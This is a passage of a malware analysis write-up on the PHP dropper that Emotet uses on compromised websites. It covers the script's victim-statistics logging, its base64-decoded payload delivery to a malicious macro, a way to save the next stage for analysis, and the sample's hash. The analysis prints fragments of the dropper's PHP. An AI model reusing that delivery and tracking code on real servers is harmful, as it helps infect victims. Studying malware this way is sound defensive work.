The key equals 5 whilst the value equals 18. The operating system type that corresponds with the key is the fifth one in the $regex_: any character but a newline. The $sha1HashFile is used to keep track of the amount of downloads and the operating system which requested the download.

The file lock is used to make sure that all requests are logged, as a race condition is mitigated due to the lock. The maximum execution time is set to an unlimited amount of time, meaning sometimes the macro which requests the payload, has to wait a bit before the file is served.

Additionally, it provides statistics for the criminal actor through which both the usage and the operating systems of the victims can be seen. Weird statistics might cause the actor to take the site offline to mitigate the efforts of malware analysts.

The file handling part of the function is given below.

fseek ( $sha1HashFile , 0 ) ; fwrite ( $sha1HashFile , json_encode ( $decodedSha1File ) ) ; fflush ( $sha1HashFile ) ; flock ( $sha1HashFile , LOCK_UN ) ; } fclose ( $sha1HashFile ) ; }

The file pointer is set to index 0 with fseek, after which fwrite is called to write the string to the file. The function fflush flushes the output to a file. Lastly, the file is unlocked using flock (note the LOCK_UN argument to unlock the file). The file handle is then closed using fclose.

The $sha1HashFile is used to keep track of statistics. Below, the code is rewritten in pseudo code for a better understanding.

statistics = openFile ( sha1hash ( currentDirectory ( ) ) , EXCLUSIVE_LOCK ) ; operatingSystem = getOperatingSystem ( userAgent ) ; if ( ! statistics. contains ( operatingSystem ) ) { statistics. add ( operatingSystem , 0 ) ; } statistics. increment ( operatingSystem ) ; statistics. writeToFile ( ) ; closeFile ( statistics , UNLOCK ) ;

The return value of the function is given below.

header ( 'Content-Type: ' . $this -> contentType_ ) ; header ( 'Content-Disposition: attachment; filename="' . $this -> contentName_ . '"' ) ; header ( 'Content-Transfer-Encoding: binary' ) ; return base64_decode ( $this -> content_ ) ; } }

The header is set to contain the content type, which is defined within the class, as well as the content disposition, which presumably is an attachment. The content encoding is binary. The content header of the file is base64 decoded using base64_decode, which is the file that gets executed by the malicious macro.

During the analysis, the next stage (the file that is downloaded on the victim’s machine) is one that is preferably saved separately. This can be done by replacing the return value in the code by the two lines below.

file_put_contents ( "/home/libra/Desktop/emotet/stage5.exe" , base64_decode ( $this -> content_ ) ) ; return "" ;

Finally, the class can be renamed, as is shown below.

$downloadClass = new DownloadClass ( ) ; echo $downloadClass -> execute ( ) ;

The binary that is downloaded from the site is an executable which is detected as Emotet, as can be seen here. The SHA-256 hash of the file is given below.

82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a

The obfuscation techniques within the macro were designed to avoid any form of string detection mechanisms. Due to the possible random layout, it is harder to write rules for the documents.

The PHP files that are on the server, also serve a similar purpose. By obfuscating the PHP code and executing the second PHP stage dynamically, it is harder for server owners to detect a malicious file in a customer’s web hosting. This way, the malicious websites try to remain online for a longer period of time. Signature detection is also easily evaded since the file can easily be obfuscated differently every so often.

All in all, it shows how much effort is put in to deliver an executable on the target, which then servers as yet another downloader for another stage within the infection process.

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis.